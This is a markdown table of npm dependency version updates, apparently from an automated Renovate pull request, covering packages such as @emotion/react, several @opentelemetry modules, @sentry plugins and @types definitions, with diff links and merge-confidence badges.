| [@emotion/react](https://redirect.github.com/emotion-js/emotion/tree/main#readme) ([source](https://redirect.github.com/emotion-js/emotion)) | [`11.13.5` -> `11.14.0`](https://renovatebot.com/diffs/npm/@emotion%2freact/11.13.5/11.14.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@emotion%2freact/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@emotion%2freact/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@emotion%2freact/11.13.5/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@emotion%2freact/11.13.5/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@emotion/react](https://redirect.github.com/emotion-js/emotion/tree/main#readme) ([source](https://redirect.github.com/emotion-js/emotion)) | [`11.13.5` -> `11.14.0`](https://renovatebot.com/diffs/npm/@emotion%2freact/11.13.5/11.14.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@emotion%2freact/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@emotion%2freact/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@emotion%2freact/11.13.5/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@emotion%2freact/11.13.5/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@emotion/styled](https://redirect.github.com/emotion-js/emotion/tree/main#readme) ([source](https://redirect.github.com/emotion-js/emotion)) | [`11.13.5` -> `11.14.0`](https://renovatebot.com/diffs/npm/@emotion%2fstyled/11.13.5/11.14.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@emotion%2fstyled/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@emotion%2fstyled/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@emotion%2fstyled/11.13.5/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@emotion%2fstyled/11.13.5/11.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@faker-js/faker](https://fakerjs.dev) ([source](https://redirect.github.com/faker-js/faker)) | [`9.2.0` -> `9.3.0`](https://renovatebot.com/diffs/npm/@faker-js%2ffaker/9.2.0/9.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@faker-js%2ffaker/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@faker-js%2ffaker/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@faker-js%2ffaker/9.2.0/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@faker-js%2ffaker/9.2.0/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@node-rs/argon2](https://redirect.github.com/napi-rs/node-rs) | [`2.0.0` -> `2.0.2`](https://renovatebot.com/diffs/npm/@node-rs%2fargon2/2.0.0/2.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@node-rs%2fargon2/2.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@node-rs%2fargon2/2.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@node-rs%2fargon2/2.0.0/2.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@node-rs%2fargon2/2.0.0/2.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@node-rs/argon2](https://redirect.github.com/napi-rs/node-rs) | [`2.0.0` -> `2.0.2`](https://renovatebot.com/diffs/npm/@node-rs%2fargon2/2.0.0/2.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@node-rs%2fargon2/2.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@node-rs%2fargon2/2.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@node-rs%2fargon2/2.0.0/2.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@node-rs%2fargon2/2.0.0/2.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@node-rs/crc32](https://redirect.github.com/napi-rs/node-rs) | [`1.10.4` -> `1.10.6`](https://renovatebot.com/diffs/npm/@node-rs%2fcrc32/1.10.4/1.10.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@node-rs%2fcrc32/1.10.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@node-rs%2fcrc32/1.10.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@node-rs%2fcrc32/1.10.4/1.10.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@node-rs%2fcrc32/1.10.4/1.10.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@opentelemetry/core](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-core) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.28.0` -> `1.29.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fcore/1.28.0/1.29.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fcore/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fcore/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fcore/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fcore/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.55.0` -> `^0.56.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.55.0/0.56.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-prometheus/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-prometheus/0.55.0/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.55.0/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/exporter-zipkin](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-exporter-zipkin) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.28.0` -> `1.29.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-zipkin/1.28.0/1.29.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-zipkin/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-zipkin/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-zipkin/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-zipkin/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.55.0` -> `^0.56.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.55.0/0.56.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation/0.55.0/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.55.0/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-graphql](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-graphql#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.45.0` -> `^0.46.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-graphql/0.45.0/0.46.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-graphql/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-graphql/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-graphql/0.45.0/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-graphql/0.45.0/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.55.0` -> `^0.56.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.55.0/0.56.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-http/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-http/0.55.0/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.55.0/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-ioredis](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-ioredis#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.45.0` -> `^0.46.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-ioredis/0.45.0/0.46.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-ioredis/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-ioredis/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-ioredis/0.45.0/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-ioredis/0.45.0/0.46.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-nestjs-core](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-nestjs-core#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.42.0` -> `^0.43.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-nestjs-core/0.42.0/0.43.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-nestjs-core/0.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-nestjs-core/0.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-nestjs-core/0.42.0/0.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-nestjs-core/0.42.0/0.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-socket.io](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/instrumentation-socket.io#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.44.0` -> `^0.45.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-socket.io/0.44.0/0.45.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-socket.io/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-socket.io/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-socket.io/0.44.0/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-socket.io/0.44.0/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/resources](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-resources) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.28.0` -> `1.29.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fresources/1.28.0/1.29.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fresources/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fresources/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fresources/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fresources/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-metrics](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/sdk-metrics) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.28.0` -> `1.29.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-metrics/1.28.0/1.29.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-metrics/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-metrics/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-metrics/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-metrics/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.55.0` -> `^0.56.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.55.0/0.56.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-node/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-node/0.55.0/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.55.0/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-trace-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-sdk-trace-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.28.0` -> `1.29.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-trace-node/1.28.0/1.29.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-trace-node/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-trace-node/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-trace-node/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-trace-node/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@playwright/test](https://playwright.dev) ([source](https://redirect.github.com/microsoft/playwright)) | [`=1.49.0` -> `=1.49.1`](https://renovatebot.com/diffs/npm/@playwright%2ftest/1.49.0/1.49.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@playwright%2ftest/1.49.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@playwright%2ftest/1.49.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@playwright%2ftest/1.49.0/1.49.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@playwright%2ftest/1.49.0/1.49.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@sentry/electron](https://redirect.github.com/getsentry/sentry-electron) | [`5.7.0` -> `5.8.0`](https://renovatebot.com/diffs/npm/@sentry%2felectron/5.7.0/5.8.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2felectron/5.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2felectron/5.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2felectron/5.7.0/5.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2felectron/5.7.0/5.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@sentry/esbuild-plugin](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/tree/main/packages/esbuild-plugin) ([source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins)) | [`2.22.6` -> `2.22.7`](https://renovatebot.com/diffs/npm/@sentry%2fesbuild-plugin/2.22.6/2.22.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2fesbuild-plugin/2.22.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2fesbuild-plugin/2.22.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2fesbuild-plugin/2.22.6/2.22.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2fesbuild-plugin/2.22.6/2.22.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.42.0` -> `8.44.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.42.0/8.44.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.42.0/8.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.42.0/8.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.42.0` -> `8.44.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.42.0/8.44.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.42.0/8.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.42.0/8.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@sentry/webpack-plugin](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/tree/main/packages/webpack-plugin) ([source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins)) | [`2.22.6` -> `2.22.7`](https://renovatebot.com/diffs/npm/@sentry%2fwebpack-plugin/2.22.6/2.22.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2fwebpack-plugin/2.22.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2fwebpack-plugin/2.22.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2fwebpack-plugin/2.22.6/2.22.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2fwebpack-plugin/2.22.6/2.22.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@slack/web-api](https://slack.dev/node-slack-sdk/web-api) ([source](https://redirect.github.com/slackapi/node-slack-sdk)) | [`7.7.0` -> `7.8.0`](https://renovatebot.com/diffs/npm/@slack%2fweb-api/7.7.0/7.8.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@slack%2fweb-api/7.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@slack%2fweb-api/7.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@slack%2fweb-api/7.7.0/7.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@slack%2fweb-api/7.7.0/7.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@types/bytes](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/bytes) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/bytes)) | [`3.1.4` -> `3.1.5`](https://renovatebot.com/diffs/npm/@types%2fbytes/3.1.4/3.1.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fbytes/3.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fbytes/3.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fbytes/3.1.4/3.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fbytes/3.1.4/3.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`20.17.9` -> `20.17.10`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.9/20.17.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.9/20.17.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.9/20.17.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react)) | [`19.0.0` -> `19.0.1`](https://renovatebot.com/diffs/npm/@types%2freact/19.0.0/19.0.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/19.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/19.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/19.0.0/19.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/19.0.0/19.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/react-dom](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react-dom) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react-dom)) | [`19.0.0` -> `19.0.2`](https://renovatebot.com/diffs/npm/@types%2freact-dom/19.0.0/19.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact-dom/19.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact-dom/19.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact-dom/19.0.0/19.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact-dom/19.0.0/19.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
